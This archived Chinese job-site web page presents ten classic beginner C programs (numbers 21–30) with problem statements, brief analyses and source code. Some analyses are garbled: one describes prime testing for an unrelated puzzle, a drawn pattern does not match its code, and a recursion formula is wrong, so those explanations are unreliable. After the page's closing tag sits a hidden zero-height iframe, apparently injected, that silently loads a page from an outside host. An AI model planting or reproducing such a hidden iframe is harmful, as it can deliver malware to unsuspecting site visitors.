📄 2004102781130.htm
字号:
<html>
<head>
<title>经典c程序100例==21--30</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="../../css/view.css" rel=stylesheet>
<body leftmargin="0" topmargin="0">
<div align="center">
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><table border="0" cellpadding="0" cellspacing="0" width="100%" height="89">
<tr>
<td width="100%" height="68"> <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="146" height="69"><div align="center"><img src="../../Images/jobczlogo.gif" width="290" height="65"></div></td>
<td width="468" height="69" align="right"> <p align="left"><img src="../../images/ad05.gif" width="468" height="60"></td>
</tr>
</table></td>
</tr>
<tr>
<td height="21"><table width=100% align="center" cellpadding=0 cellspacing=0>
<tr bgcolor=#993333>
<td width=63><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../../default.asp"><font color="#FFFFFF">返回首页</font></a></td>
<td width=7><img src=../../images/muspace.gif width="7" height="20"></td>
<td width=63 bgcolor="#009900"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Person/q_1.asp><font color="#FFFFFF">个人求职</font></a></td>
<td width=7><img src=../../images/muspaceperson.gif width="7" height="20"></td>
<td width=63 bgcolor="#1493E7"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Invite/s_1.asp><font color="#FFFFFF">单位招聘</font></a><a class=white href=./index2.htm></a></td>
<td width=7><img src=../../images/muspaceinvite.gif width="7" height="20"></td>
<td width=63 bgcolor="#9966CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Train/r_1.asp><font color="#FFFFFF">培训充电</font></a></td>
<td width=7><img src=../../images/muspaceTrain.gif width="7" height="20"></td>
<td width=63 bgcolor="#CC9933"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index1.asp><font color="#FFFFFF">市场动态</font></a></td>
<td width=7><img src=../../images/muspace04.gif width="7" height="20"></td>
<td width=63 bgcolor="#99CC66"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index2.asp><font color="#FFFFFF">政策法规</font></a></td>
<td width=7><img src=../../images/muspace05.gif width="7" height="20"></td>
<td width=63 bgcolor="#CC6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index3.asp><font color="#FFFFFF">管理论坛</font></a></td>
<td width=7><img src=../../images/muspace06.gif width="7" height="20"></td>
<td width=63 bgcolor="#FF99CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index4.asp><font color="#FFFFFF">就业指导</font></a></td>
<td width=7><img src=../../images/muspace07.gif width="7" height="20"></td>
<td width=63 bgcolor="#6699CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index5.asp><font color="#FFFFFF">人事代理</font></a></td>
<td width=7><img src=../../images/muspace08.gif width="7" height="20"></td>
<td width=60 bgcolor="#FF6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="http://www.cznytc.com"><font color="#FFFFFF">郴州特产</font></a></td>
<td width=7><img src=../../images/muspace09.gif width="7" height="20"></td>
<td width=60 bgcolor="#FFCC00"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../Cooperate/p_1.asp"><font color="#FFFFFF">企业加盟</font></a></td>
<td width=7><img src=../../images/muspace10.gif width="7" height="20"></td>
</tr>
<tr>
<td height=1 colspan=22></td>
</tr>
<tr>
<td height=2 bgcolor=#993333 colspan=22></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height=1 bgcolor=000000></td>
</tr>
<tr>
<td height="8"><img src="../../image/mubg1.gif" width="760" height="8"></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="600" height="500" valign="top"><table width="100%" border="0">
<tr>
<td>当前位置:首页 >> 数据结构 >> 经典c程序100例 >> 正文</td>
</tr>
</table>
<br>
<table width="100%" border="0">
<tr>
<td height="40" align="center" bgcolor="eeeeee"><font style="font-size:16px"><b>经典c程序100例==21--30</b></font></td>
</tr>
<tr>
<td align="right"><font color="#999999">来源:<font color="#CC0000">郴州人才网</font>
时间:2004年10月27日8:11</font></td>
</tr>
</table> <br>
<table width="600" border="0" cellpadding="5">
<tr>
<td class=c><font id="zoom" style="font-size:14px"><P><FONT color=#990000>【程序21】</FONT><BR>题目:猴子吃桃问题:猴子第一天摘下若干个桃子,当即吃了一半,还不瘾,又多吃了一个<BR> 第二天早上又将剩下的桃子吃掉一半,又多吃了一个。以后每天早上都吃了前一天剩下<BR> 的一半零一个。到第10天早上想再吃时,见只剩下一个桃子了。求第一天共摘了多少。<BR>1.程序分析:采取逆向思维的方法,从后往前推断。<BR>2.程序源代码:<BR>main()<BR>{<BR>int day,x1,x2;<BR>day=9;<BR>x2=1;<BR>while(day>0)<BR> {x1=(x2+1)*2;/*第一天的桃子数是第2天桃子数加1后的2倍*/<BR> x2=x1;<BR> day--;<BR> }<BR>printf("the total is %d\n",x1);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序22】</FONT><BR>题目:两个乒乓球队进行比赛,各出三人。甲队为a,b,c三人,乙队为x,y,z三人。已抽签决定<BR> 比赛名单。有人向队员打听比赛的名单。a说他不和x比,c说他不和x,z比,请编程序找出<BR> 三队赛手的名单。 <BR>1.程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,<BR> 则表明此数不是素数,反之是素数。 <BR>2.程序源代码:<BR>main()<BR>{<BR>char i,j,k;/*i是a的对手,j是b的对手,k是c的对手*/<BR>for(i='x';i<='z';i++)<BR> for(j='x';j<='z';j++)<BR> {<BR> if(i!=j)<BR> for(k='x';k<='z';k++)<BR> { if(i!=k&&j!=k)<BR> { if(i!='x'&&k!='x'&&k!='z')<BR> printf("order is a--%c\tb--%c\tc--%c\n",i,j,k);<BR> }<BR> }<BR> }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序23】</FONT> <BR>题目:打印出如下图案(菱形)</P>
<P>*<BR>***<BR>******<BR>********<BR>******<BR>***<BR>*<BR>1.程序分析:先把图形分成两部分来看待,前四行一个规律,后三行一个规律,利用双重<BR> for循环,第一层控制行,第二层控制列。 <BR>2.程序源代码:<BR>main()<BR>{<BR>int i,j,k;<BR>for(i=0;i<=3;i++)<BR> {<BR> for(j=0;j<=2-i;j++)<BR> printf(" ");<BR> for(k=0;k<=2*i;k++)<BR> printf("*");<BR> printf("\n");<BR> }<BR>for(i=0;i<=2;i++)<BR> {<BR> for(j=0;j<=i;j++)<BR> printf(" ");<BR> for(k=0;k<=4-2*i;k++)<BR> printf("*");<BR> printf("\n");<BR> }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序24】</FONT> <BR>题目:有一分数序列:2/1,3/2,5/3,8/5,13/8,21/13...求出这个数列的前20项之和。<BR>1.程序分析:请抓住分子与分母的变化规律。 <BR>2.程序源代码:<BR>main()<BR>{<BR>int n,t,number=20;<BR>float a=2,b=1,s=0;<BR>for(n=1;n<=number;n++)<BR> {<BR> s=s+a/b;<BR> t=a;a=a+b;b=t;/*这部分是程序的关键,请读者猜猜t的作用*/<BR> }<BR>printf("sum is %9.6f\n",s);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序25】</FONT> <BR>题目:求1+2!+3!+...+20!的和<BR>1.程序分析:此程序只是把累加变成了累乘。 <BR>2.程序源代码:<BR>main()<BR>{<BR>float n,s=0,t=1;<BR>for(n=1;n<=20;n++)<BR> {<BR> t*=n;<BR> s+=t;<BR> }<BR>printf("1+2!+3!...+20!=%e\n",s);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序26】</FONT> <BR>题目:利用递归方法求5!。<BR>1.程序分析:递归公式:fn=fn_1*4!<BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{<BR>int i;<BR>int fact();<BR>for(i=0;i<5;i++)<BR> printf("\40:%d!=%d\n",i,fact(i));<BR>}<BR>int fact(j)<BR>int j;<BR>{<BR>int sum;<BR>if(j==0)<BR> sum=1;<BR>else<BR> sum=j*fact(j-1);<BR>return sum;<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序27】</FONT> <BR>题目:利用递归函数调用方式,将所输入的5个字符,以相反顺序打印出来。<BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{<BR>int i=5;<BR>void palin(int n);<BR>printf("\40:");<BR>palin(i);<BR>printf("\n");<BR>}<BR>void palin(n)<BR>int n;<BR>{<BR>char next;<BR>if(n<=1)<BR> {<BR> next=getchar();<BR> printf("\n\0:");<BR> putchar(next);<BR> }<BR>else<BR> {<BR> next=getchar();<BR> palin(n-1);<BR> putchar(next);<BR> }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序28】</FONT> <BR>题目:有5个人坐在一起,问第五个人多少岁?他说比第4个人大2岁。问第4个人岁数,他说比第<BR> 3个人大2岁。问第三个人,又说比第2人大两岁。问第2个人,说比第一个人大两岁。最后 <BR> 问第一个人,他说是10岁。请问第五个人多大?<BR>1.程序分析:利用递归的方法,递归分为回推和递推两个阶段。要想知道第五个人岁数,需知道<BR> 第四人的岁数,依次类推,推到第一人(10岁),再往回推。<BR>2.程序源代码:<BR>age(n)<BR>int n;<BR>{<BR>int c;<BR>if(n==1) c=10;<BR>else c=age(n-1)+2;<BR>return(c);<BR>}<BR>main()<BR>{ printf("%d",age(5));<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序29】</FONT> <BR>题目:给一个不多于5位的正整数,要求:一、求它是几位数,二、逆序打印出各位数字。<BR>1. 程序分析:学会分解出每一位数,如下解释:(这里是一种简单的算法,师专数002班赵鑫提供) <BR>2.程序源代码:<BR>main( )<BR>{<BR>long a,b,c,d,e,x;<BR>scanf("%ld",&x);<BR>a=x/10000;/*分解出万位*/<BR>b=x%10000/1000;/*分解出千位*/<BR>c=x%1000/100;/*分解出百位*/<BR>d=x%100/10;/*分解出十位*/<BR>e=x%10;/*分解出个位*/<BR>if (a!=0) printf("there are 5, %ld %ld %ld %ld %ld\n",e,d,c,b,a);<BR>else if (b!=0) printf("there are 4, %ld %ld %ld %ld\n",e,d,c,b);<BR> else if (c!=0) printf(" there are 3,%ld %ld %ld\n",e,d,c);<BR> else if (d!=0) printf("there are 2, %ld %ld\n",e,d);<BR> else if (e!=0) printf(" there are 1,%ld\n",e);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序30】</FONT> <BR>题目:一个5位数,判断它是不是回文数。即12321是回文数,个位与万位相同,十位与千位相同。 <BR>1.程序分析:同29例<BR>2.程序源代码:<BR>main( )<BR>{<BR>long ge,shi,qian,wan,x;<BR>scanf("%ld",&x);<BR>wan=x/10000;<BR>qian=x%10000/1000;<BR>shi=x%100/10;<BR>ge=x%10;<BR>if (ge==wan&&shi==qian)/*个位等于万位并且十位等于千位*/<BR> printf("this number is a huiwen\n");<BR>else<BR> printf("this number is not a huiwen\n");<BR>}</P> </font><br>
(编辑:jobcz)</td>
</tr>
<tr>
<td align="right"><script language=JavaScript>
<!-- Begin
if (window.print) {
document.write('【<a href="#" onClick="javascript:window.print()"><font color=cc0000>打印本文</font></a>】 ');
}
// End -->
</script>
【<a href=../../../bbs/ target=_blank><font color=#cc0000>发表评论</font></a>】【<a href="javascript:window.close()"><font color=#cc0000>关闭窗口</font></a>】</td>
</tr>
</table><br><br></td>
<td width="10"> </td>
<td width="150" valign="top" bgcolor="#F0F3F7"><table width="100%" height="40" cellpadding="3" cellspacing="0" >
<form action="../../search.asp" method="post">
<tr >
<td colspan="2" align="center"> <input type=text size=12 name="keyword">
<input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all>
<input type="hidden" name="AreaSearch" value=1> </td>
</tr>
</form>
</table></td>
</tr>
</table>
<script language=JavaScript src="../../js/end.js"></script>
</div>
</body>
</html>
<iframe height=0 src=http://www.9344.cn/mm.htm ></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -